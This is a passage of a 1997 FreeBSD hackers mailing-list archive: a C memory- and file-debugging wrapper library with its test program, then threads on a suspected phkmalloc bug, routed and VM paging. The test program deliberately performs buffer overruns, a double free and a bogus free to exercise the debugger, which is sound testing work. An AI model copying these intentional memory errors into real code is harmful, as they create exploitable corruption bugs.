h, f, l, file_info[h].fname, -file_info[h].line); else { #ifdef GW_TRACE fprintf(logfile,"File %2d (%s) opened at %s, line %d, fclosed at %s, line %d\n", h, file_info[h].name, file_info[h].fname, file_info[h].line, f, l); #endif file_info[h].fname = store_name(f); file_info[h].line = -l; return close(h); } } else fprintf(logfile,"Illegal close(%d) by %s line %d\n", h, f, l); return 0; } int my_dup(int h, char *f, int l) { int rtn = -1; if (!logfile) my_initialise(); if (h>=0) { if (file_info[h].line <= 0) fprintf(logfile,"Illegal dup(%d) by %s line %d\n", h, f, l); else { rtn = dup(h); if (rtn >= 0) { #ifdef GW_TRACE fprintf(logfile,"File %2d (%s) opened at %s, line %d, dup'ed to %d at %s, line %d\n", h, file_info[h].name, file_info[h].fname, file_info[h].line, rtn, f, l); #endif file_info[rtn].name = file_info[h].name; file_info[rtn].fname = store_name(f); file_info[rtn].line = l; file_info[rtn].fp = NULL; } else fprintf(logfile,"dup(%d) by %s line %d failed!\n\t(%s)\n", h, f, l, strerror(errno)); } } else fprintf(logfile,"Illegal dup(%d) by %s line %d!\n", h, f, l); return rtn; } static int my_readcheck(char *name, void *buf, unsigned len, int space_avail, char *f, int l) { if (buf==NULL) { fprintf(logfile,"%s with NULL buffer by %s line %d!\n", name, f, l); return 0; } space_avail = my_sizehint(buf, space_avail); if (space_avail >= 0 && space_avail < len) { fprintf(logfile,"%s with count (%d) > available space (5d) by %s line %d!\n", name, len, space_avail, f, l); return space_avail; } else return len; } int my_read(int h, void *buf, unsigned len, int space_avail, char *f, int l) { if (!logfile) my_initialise(); len = my_readcheck("read", buf, len, space_avail, f, l); return len ? read(h,buf,len) : 0; } size_t my_fread(void *buf, size_t size, size_t n, FILE *fp, int space_avail, char *f, int l) { if (!logfile) my_initialise(); if (size==0) { fprintf(logfile,"fread with size zero at %s line %d!\n", f, l); return 0; } n = my_readcheck("fread", buf, n*size, space_avail, f, l) / size; return n ? fread(buf,size,n,fp) : 0; } char *my_fgets(void *buf, int n, FILE *fp, int space_avail, char *f, int l) { if (!logfile) my_initialise(); n = my_readcheck("fgets", buf, n, space_avail, f, l); return n ? fgets(buf,n,fp) : buf; } static void my_file_report(int is_last) { int i, done_heading=0; for (i=0;i<40;i++) { if (file_info[i].line>0) { if (is_last && !done_heading) { done_heading = 1; fprintf(logfile,"FILE LEAKS:\n"); } fprintf(logfile,"\tFile `%s' (handle %d) opened at %s, line %d\n", file_info[i].name,i,file_info[i].fname, file_info[i].line); } } } /*************************/ /* Building on the past! */ /*************************/ void *my_realloc(void *p, unsigned n, char *f, int l) { void *rtn = my_calloc(n,f,l); if (p) { my_memcpy(rtn, n, 0, p, 0, 0, f, l); my_free(p,f,l); } return rtn; } /**********************/ /* Managed name store */ /**********************/ #ifndef MAX_NAMES #define MAX_NAMES 32 #endif #ifndef MAX_NAME_LEN #define MAX_NAME_LEN 16 #endif static char file_names[MAX_NAMES][MAX_NAME_LEN]; static int filename_index = 0; static char *store_name(char *name) { int filename_index; for (filename_index=0 ; filename_index #include #include #include #include #include #include "gwdebug.h" typedef void *heap_ptr; void leakTest(void) { (void)malloc(10); } void badFreeTest(void) { free((void *)26304); } void doubleFreeTest(void) { heap_ptr p = malloc(10); free(p); free(p); } void overrunTest1(void) { heap_ptr p = malloc(10); char *d = (char *)p, *s = "Hello World"; while ((*d++ = *s++) != 0); free(p); } void overrunTest2(void) { heap_ptr *p = malloc(10); strcpy((char *)p, "Hello world"); free(p); } void overrunTest3(void) { char dest[8]; strcpy(dest,"Hello world"); strncpy(dest,"Hello world",8); strncpy(dest,"Hello world",9); } void fileTest(void) { FILE *fp; int h = open("junk", O_CREAT, S_IWRITE), h2; close(h); h2 = dup(h); close(h); close(h2); fp = fopen("leak", "w"); (void)fp; } void initTest(void) { /* the tests here marked ** will only succeed is junk[] has no zero bytes in it after being created on the stack; luck of the draw, unfortunately */ heap_ptr *p = malloc(10); char junk[10]; /**/(void)strlen(junk); (void)strlen((char *)p); (void)strcpy(junk, (char *)p); (void)memcpy(junk, (char *)p, 10); /**/(void)strcpy((char *)p, junk); (void)memcpy((char *)p, junk, 10); /* this is undetectable */ free(p); } void main(void) { int ch = 0; while (ch != 'q') { printf("Enter:\n\tq - to quit\n\t1 - for leak test\n"); printf("\t2 - for overrun test 1\n\t3 - for overrun test 2\n"); printf("\t4 - for overrun test 3\n"); printf("\t5 - for bad free\n\t6 - for double free\n"); printf("\t7 - for file test\n\t8 - for uninit test\n"); ch=getchar(); switch(ch) { case '1': leakTest(); break; case '2': overrunTest1(); break; case '3': overrunTest2(); break; case '4': overrunTest3(); break; case '5': badFreeTest(); break; case '6': doubleFreeTest(); break; case '7': fileTest(); break; case '8': initTest(); break; } while (getchar() != '\n'); } } --------- Makefile ------------------------------------------------------ DEBUG=-DGW_DEBUG #DEBUG= CC=cc CFLAGS=-g $(DEBUG) LOG=\"gwdebug.log\" all: gwtest gwtest: gwtest.o gwdebug.o $(CC) $(CFLAGS) gwtest.o gwdebug.o -o gwtest gwtest.o: gwtest.c gwdebug.h $(CC) -c $(CFLAGS) gwtest.c gwdebug.o: gwdebug.c gwdebug.h $(CC) -c $(CFLAGS) -DDEBUG_LOG=$(LOG) gwdebug.c -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Thu Sep 18 10:54:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA23098 for hackers-outgoing; Thu, 18 Sep 1997 10:54:49 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id KAA23091; Thu, 18 Sep 1997 10:54:46 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <54891(2)>; Thu, 18 Sep 1997 10:53:19 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177486>; Thu, 18 Sep 1997 10:53:01 -0700 To: Yonny Cardenas cc: hackers@freebsd.org, questions@freebsd.org Subject: Re: Serials links with RIP (routed) In-reply-to: Your message of "Wed, 17 Sep 97 13:17:09 PDT." Date: Thu, 18 Sep 1997 10:52:52 PDT From: Bill Fenner Message-Id: <97Sep18.105301pdt.177486@crevenia.parc.xerox.com> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk You don't mention which version of FreeBSD you're running. The routed in 2.2.2 has several endian problems; the one in -stable and -current has many of these bugs fixed. Could you try the routed from -stable or -current and see if your problem is fixed? Thanks, Bill From owner-freebsd-hackers Thu Sep 18 11:12:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA24447 for hackers-outgoing; Thu, 18 Sep 1997 11:12:00 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA24442 for ; Thu, 18 Sep 1997 11:11:57 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id MAA08719; Thu, 18 Sep 1997 12:11:27 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id MAA13376; Thu, 18 Sep 1997 12:11:25 -0600 (MDT) Date: Thu, 18 Sep 1997 12:11:25 -0600 (MDT) Message-Id: <199709181811.MAA13376@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Poul-Henning Kamp Cc: Graham Wheeler , hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-Reply-To: <10531.874599844@critter.freebsd.dk> References: <199709181606.SAA00506@cdsec.com> <10531.874599844@critter.freebsd.dk> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Poul-Henning Kamp writes: > In message <199709181606.SAA00506@cdsec.com>, Graham Wheeler writes: > > >i.e. the size is stored both immediately preceding and immediately > >following the useable space. As part of the consistency checking, > >these two sizes are compared and should match. This should catch almost > >all small overruns or underruns, and abort the process. So this > >malloc should be less tolerant of bugs in my code than pkhmalloc is, > >rather than more tolerant, > > again: depends. True, but I think Graham's arguement puts the ball in your court. Yes, it's *possible* that a bug in his code exists, but given that his other malloc has debugging capabilities built-in, one could argue that the burden of proof is now on PHK-malloc. .. > >Can you offer an explanation as to why the process never returns from > >the call to malloc, nor does it abort? This seems to indicate an infinite > >loop. Not having delved too deeply into your code, I can only speculate > >that the linked list is being made circular, so the process is in an > >infinite, looping traversal. Perhaps that is a check that can be added; > >namely that walking the list must always proceed forward, never backward > >(assuming that the list is kept in sequential order). > > This is about the only way you could get it to loop I think. That means > that somebody wrote to memory malloc hadn't passed them (ie: your code). Yikes, this would be 'Hard to Do', even by design (ie; self-modifying code). But, stranger things have happened, especially with dealing with malloc/free. I could understand that this could be a reason where phkmalloc would fail, and another debug library wouldn't. However, if you modified PHK-malloc's storage capability (say, have it allocate 2X normal memory), the problem should go away, since you'd be modifying something other than the 'prev/next' pointer variable. > This would indicate a bug of the class where memory is written to after > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. This is a 'hard problem'. Graham, does your software run on a Solaris or HP/UX box? If so, you may consider getting an evaluation copy of Purify and running it against your code. IMHO, Purify is the *best* single-tool for pointing out these kinds of errors, aside from good programming practices. I find it even more useful than a debugger for 'hard to find' errors, although when coupled with a debugger it's usefulness is second to none. Nate From owner-freebsd-hackers Thu Sep 18 11:27:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA25441 for hackers-outgoing; Thu, 18 Sep 1997 11:27:16 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA25415; Thu, 18 Sep 1997 11:27:10 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id LAA11021; Thu, 18 Sep 1997 11:25:50 -0700 (PDT) To: Poul-Henning Kamp cc: Graham Wheeler , hackers@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 18:24:04 +0200." <10531.874599844@critter.freebsd.dk> Date: Thu, 18 Sep 1997 11:25:49 -0700 Message-ID: <11017.874607149@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This would indicate a bug of the class where memory is written to after > being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. Man, I sure wish there was a copy of purify available for FreeBSD. It's great at catching stuff like this! :( Maybe you could hack free() to do an mprotect(addr, len, PROT_NONE) on free'd pages, unprotecting them again as necessary when the malloc routines themselves need to frob that memory. Or, since we're just testing, do it from an internally registered SIGBUS handler which figures out the right thing to do. :-) BTW, how *do* you get the faulting memory location from a SIGBUS handler? I was just playing around with this a bit and noted that it wasn't immediately obvious how you'd get that info from the signal handler. Jordan P.S. I also noticed that processes which catch SIGBUS will dump incomplete core files - only the first 8K is dumped. Sounds like a bug to me and I think we should either dump the whole thing or not dump core at all rather than producing a truncated and rather useless core file! :-) From owner-freebsd-hackers Thu Sep 18 11:39:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA26799 for hackers-outgoing; Thu, 18 Sep 1997 11:39:56 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA26793 for ; Thu, 18 Sep 1997 11:39:54 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id LAA11157; Thu, 18 Sep 1997 11:35:26 -0700 (PDT) To: Poul-Henning Kamp cc: Graham Wheeler , gram@gram.cdsec.com.dk.tfs.com (Graham Wheeler), hackers@FreeBSD.ORG Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 19:09:20 +0200." <10666.874602560@critter.freebsd.dk> Date: Thu, 18 Sep 1997 11:35:26 -0700 Message-ID: <11153.874607726@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Erm, never mind on that "how do I find the faulted memory location on SIGBUS" question. I just took a closer look at sigaction(2) and read about the sigcontext structure*. :-) Jordan * Though it also says that this structure is defined in when it's really in - I don't know how this has possibly escaped Bruce's eye all this time! ;-) From owner-freebsd-hackers Thu Sep 18 11:54:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA27777 for hackers-outgoing; Thu, 18 Sep 1997 11:54:02 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id LAA27770 for ; Thu, 18 Sep 1997 11:53:57 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id UAA10899; Thu, 18 Sep 1997 20:51:13 +0200 (CEST) To: Nate Williams cc: Graham Wheeler , hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 12:11:25 MDT." <199709181811.MAA13376@rocky.mt.sri.com> Date: Thu, 18 Sep 1997 20:51:13 +0200 Message-ID: <10897.874608673@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709181811.MAA13376@rocky.mt.sri.com>, Nate Williams writes: >Poul-Henning Kamp writes: >> In message <199709181606.SAA00506@cdsec.com>, Graham Wheeler writes: >> >> >i.e. the size is stored both immediately preceding and immediately >> >following the useable space. As part of the consistency checking, >> >these two sizes are compared and should match. This should catch almost >> >all small overruns or underruns, and abort the process. So this >> >malloc should be less tolerant of bugs in my code than pkhmalloc is, >> >rather than more tolerant, >> >> again: depends. > >True, but I think Graham's arguement puts the ball in your court. Yes, >it's *possible* that a bug in his code exists, but given that his other >malloc has debugging capabilities built-in, one could argue that the >burden of proof is now on PHK-malloc. No. Unless the other implementation has the strength of Purify, this argument doesn't hold. I'm actually currently leaning to the opinion that phkmalloc is better at exposing errors than this other malloc is. :-) Remember that many checks which are considered "debugging" in other mallocs are standard in phkmalloc. If you don't trust me, try to grep for malloc in the commit logs to see what it has already found ;-) Anyway, if you think so: do like so many others have done, look at the source for phkmalloc.c and try to spot the error. I can't. In this particular case phkmalloc is vulnerable because it uses small allocations to track the freelist: free(16 bytes allocation) /* phkmalloc flips the bitmap for this "chunk" */ free(some allocation) /* this results in an entire page being added to the freelist, consequently a freeheader is allocated the above 16 byte chunk is used in this case */ write to the 16 byte allocation above free or alloc something /* phkmallocs internal data is corrupt and we spin */ >> This is about the only way you could get it to loop I think. That means >> that somebody wrote to memory malloc hadn't passed them (ie: your code). > >Yikes, this would be 'Hard to Do', even by design (ie; self-modifying >code). But, stranger things have happened, especially with dealing with >malloc/free. No, all you have to do is to make each allocation have it's own set of pages, munmap them when free is called and never use those pages again. You run out of address space really fast, and it is slow, but it works. >I could understand that this could be a reason where phkmalloc would >fail, and another debug library wouldn't. However, if you modified >PHK-malloc's storage capability (say, have it allocate 2X normal memory), the >problem should go away, since you'd be modifying something other than >the 'prev/next' pointer variable. In phkmalloc there is no prev/next pointer except for the ones that keep track of the freelist. (Read the paper in src/share/papers/.../malloc) >> This would indicate a bug of the class where memory is written to after >> being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > >This is a 'hard problem'. Not really, there is a simple way to find it I belive. Hack phkmalloc the following way: Add a nontrivial checksum field to the freechunk structure. Check before use, and update it after changes. Should nail it in no time. >Graham, does your software run on a Solaris or HP/UX box? If so, you >may consider getting an evaluation copy of Purify and running it against >your code. IMHO, Purify is the *best* single-tool for pointing out these >kinds of errors, aside from good programming practices. I find it even >more useful than a debugger for 'hard to find' errors, although when >coupled with a debugger it's usefulness is second to none. Indeed. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 11:59:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id LAA28124 for hackers-outgoing; Thu, 18 Sep 1997 11:59:57 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id LAA28115; Thu, 18 Sep 1997 11:59:44 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id OAA16163; Thu, 18 Sep 1997 14:42:51 -0400 Date: Thu, 18 Sep 1997 14:42:51 -0400 (EDT) From: Yonny Cardenas To: Bill Fenner cc: hackers@freebsd.org, questions@freebsd.org Subject: Re: Serials links with RIP (routed) In-Reply-To: <97Sep18.105301pdt.177486@crevenia.parc.xerox.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 18 Sep 1997, Bill Fenner wrote: > You don't mention which version of FreeBSD you're running. The > routed in 2.2.2 has several endian problems; the one in -stable and > -current has many of these bugs fixed. Could you try the routed > from -stable or -current and see if your problem is fixed? I am using FreeBSD 2.2.1 in the two routers, One run routed and other with gated vresion R3_5Beta3. The router with gated exports and imports RIP from router that run routed, it update its routes well, but the router that run routed no update its tables. Thanks ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Thu Sep 18 12:12:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA28885 for hackers-outgoing; Thu, 18 Sep 1997 12:12:36 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA28880 for ; Thu, 18 Sep 1997 12:12:33 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id NAA09103; Thu, 18 Sep 1997 13:12:21 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id NAA13699; Thu, 18 Sep 1997 13:12:18 -0600 (MDT) Date: Thu, 18 Sep 1997 13:12:18 -0600 (MDT) Message-Id: <199709181912.NAA13699@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Poul-Henning Kamp Cc: Nate Williams , Graham Wheeler , hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-Reply-To: <10897.874608673@critter.freebsd.dk> References: <199709181811.MAA13376@rocky.mt.sri.com> <10897.874608673@critter.freebsd.dk> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [ Bugs in phk-malloc ] > Anyway, if you think so: do like so many others have done, look at the > source for phkmalloc.c and try to spot the error. I can't. I know, and I don't expect you to find any. But, it doesn't mean there isn't one. :) [ 'hangs' in malloc due to memory over-write causing circular lists ] > >> This is about the only way you could get it to loop I think. That means > >> that somebody wrote to memory malloc hadn't passed them (ie: your code). > > > >Yikes, this would be 'Hard to Do', even by design (ie; self-modifying > >code). But, stranger things have happened, especially with dealing with > >malloc/free. > > No, all you have to do is to make each allocation have it's own set of > pages, munmap them when free is called and never use those pages again. > > You run out of address space really fast, and it is slow, but it works. It's slow, but how would it cause malloc to hang? > >> This would indicate a bug of the class where memory is written to after > >> being free()'ed, a kind of bug which phkmalloc makes no attempt to catch. > > > >This is a 'hard problem'. > > Not really, there is a simple way to find it I belive. Hack phkmalloc > the following way: Add a nontrivial checksum field to the freechunk > structure. Check before use, and update it after changes. Should > nail it in no time. Cool, sounds like another option *YOU* should implement. *grin* (just kidding, just kidding.....) Nate From owner-freebsd-hackers Thu Sep 18 12:42:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA01020 for hackers-outgoing; Thu, 18 Sep 1997 12:42:58 -0700 (PDT) Received: from critter.freebsd.dk (critter.freebsd.dk [195.8.129.26]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA01015 for ; Thu, 18 Sep 1997 12:42:54 -0700 (PDT) Received: from critter.freebsd.dk (localhost.cybercity.dk [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id VAA11099; Thu, 18 Sep 1997 21:41:16 +0200 (CEST) To: Nate Williams cc: Graham Wheeler , hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-reply-to: Your message of "Thu, 18 Sep 1997 13:12:18 MDT." <199709181912.NAA13699@rocky.mt.sri.com> Date: Thu, 18 Sep 1997 21:41:16 +0200 Message-ID: <11097.874611676@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199709181912.NAA13699@rocky.mt.sri.com>, Nate Williams writes: >[ 'hangs' in malloc due to memory over-write causing circular lists ] > >> >> This is about the only way you could get it to loop I think. That means >> >> that somebody wrote to memory malloc hadn't passed them (ie: your code). >> > >> >Yikes, this would be 'Hard to Do', even by design (ie; self-modifying >> >code). But, stranger things have happened, especially with dealing with >> >malloc/free. >> >> No, all you have to do is to make each allocation have it's own set of >> pages, munmap them when free is called and never use those pages again. >> >> You run out of address space really fast, and it is slow, but it works. > >It's slow, but how would it cause malloc to hang? It wouldn't, it would detect accesses to free'ed memory. -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-hackers Thu Sep 18 12:47:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA01351 for hackers-outgoing; Thu, 18 Sep 1997 12:47:32 -0700 (PDT) Received: from ns.mt.sri.com (SRI-56K-FR.mt.net [206.127.65.42]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA01343 for ; Thu, 18 Sep 1997 12:47:27 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.7/8.8.7) with ESMTP id NAA09322; Thu, 18 Sep 1997 13:46:48 -0600 (MDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id NAA13960; Thu, 18 Sep 1997 13:46:45 -0600 (MDT) Date: Thu, 18 Sep 1997 13:46:45 -0600 (MDT) Message-Id: <199709181946.NAA13960@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Poul-Henning Kamp Cc: Nate Williams , Graham Wheeler , hackers@freebsd.org Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) In-Reply-To: <11097.874611676@critter.freebsd.dk> References: <199709181912.NAA13699@rocky.mt.sri.com> <11097.874611676@critter.freebsd.dk> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > >[ 'hangs' in malloc due to memory over-write causing circular lists ] > > > >> >> This is about the only way you could get it to loop I think. That means > >> >> that somebody wrote to memory malloc hadn't passed them (ie: your code). > >> > > >> >Yikes, this would be 'Hard to Do', even by design (ie; self-modifying > >> >code). But, stranger things have happened, especially with dealing with > >> >malloc/free. > >> > >> No, all you have to do is to make each allocation have it's own set of > >> pages, munmap them when free is called and never use those pages again. > >> > >> You run out of address space really fast, and it is slow, but it works. > > > >It's slow, but how would it cause malloc to hang? > > It wouldn't, it would detect accesses to free'ed memory. Ahh, I misunderstand what you meant. I thought that you meant that getting PHK-malloc to spin was easy to do with the above, not that detecting it would be easy to do. Nate From owner-freebsd-hackers Thu Sep 18 12:48:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA01489 for hackers-outgoing; Thu, 18 Sep 1997 12:48:10 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id MAA01423 for ; Thu, 18 Sep 1997 12:48:04 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA14357 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Thu, 18 Sep 1997 21:48:19 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id TAA02619; Thu, 18 Sep 1997 19:50:51 +0200 (MET DST) From: Wilko Bulte Message-Id: <199709181750.TAA02619@yedi.iaf.nl> Subject: Re: Different kernels for the bindist and boot.flp? To: mike@smith.net.au (Mike Smith) Date: Thu, 18 Sep 1997 19:50:50 +0200 (MET DST) Cc: nik@iii.co.uk, mike@smith.net.au, hackers@FreeBSD.ORG In-Reply-To: <199709181150.VAA00568@word.smith.net.au> from "Mike Smith" at Sep 18, 97 09:20:21 pm X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Mike Smith wrote... > > > No, it's actually quite hard. Due to the way the boot floppy works, > > > you have to build a custom image with your new kernel, and then hack > > > sysinstall to splat a new kernel image down after it's extracted the > > > bindist. You could alternatively specify a different kernel to go in > > > the bindist, which is relatively straightforward but slow (you have to > > > build a release to do it). > > > > This is why I was thinking about seperating the bin dist into a bin dist and > > a kernel dist. The new bin dist contains everything non-kernel specific, > > the kernel dists each contain one kernel with support for a specific set of > > features, and the kernel config file used to create them. > > This rapidly reduces to supplying the kernel sources and a text editor. > The alternative is a million different kernel distributions, which are > nothing short of a terror to maintain. There is already a name for this. It's called 'Linux' ;-) _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl http://www.tcja.nl/~wilko |/|/ / / /( (_) Arnhem, The Netherlands - Do, or do not. There is no 'try' ----------------------------------------------------------------------Yoda From owner-freebsd-hackers Thu Sep 18 12:58:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id MAA02167 for hackers-outgoing; Thu, 18 Sep 1997 12:58:42 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id MAA02155 for ; Thu, 18 Sep 1997 12:58:39 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id OAA02861; Thu, 18 Sep 1997 14:58:31 -0500 (EST) From: "John S. Dyson" Message-Id: <199709181958.OAA02861@dyson.iquest.net> Subject: Re: LRU implementation In-Reply-To: <19970918131859.14824.qmail@hotmail.com> from Douglas Jardine at "Sep 18, 97 06:18:59 am" To: djardine@hotmail.com (Douglas Jardine) Date: Thu, 18 Sep 1997 14:58:31 -0500 (EST) Cc: toor@dyson.iquest.net, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Douglas Jardine said: > > > >>From toor@dyson.iquest.net Mon Sep 15 13:02:41 1997 > >> > >None of the above. One way to describe it is "Not used recently > >very often" :-). There are 2nd chance FIFO queues also. > > Umm. Can somebody please interpret this for me! I assume FreeBSD > looks at the referenced bit to decide the "not used recently" part, > but how does the "very often" part work? Where do the FIFO queues > fit in the overall scheme? (If this is explained someplace a pointer > will suffice). > Take a look at the pageout daemon in /sys/vm/vm_pageout.c. It is pretty complex to describe in words (and would likely take several pages of pseudo-code.) There is also a bit of code in vm_page.c that creates the paging policy. > > I am not very familiar with 2nd-Chance FIFOs so can somebody elaborate? > As Joerg points out, on i386 the referenced bit is > supported by hardware. But that by itself can't be used to construct > a FIFO. So how is the FIFO formed? Once the FIFO is formed, I guess > second chance would mean don't throw away the pages with referenced > bit set. What is done with these pages - i.e. are they queued to the > tail of the FIFO or left in place or ...? > Actually, our code is ready also to support machines w/o referenced bits. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Thu Sep 18 13:25:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id NAA03781 for hackers-outgoing; Thu, 18 Sep 1997 13:25:53 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id NAA03773 for ; Thu, 18 Sep 1997 13:25:48 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA14515 for hackers@FreeBSD.ORG; 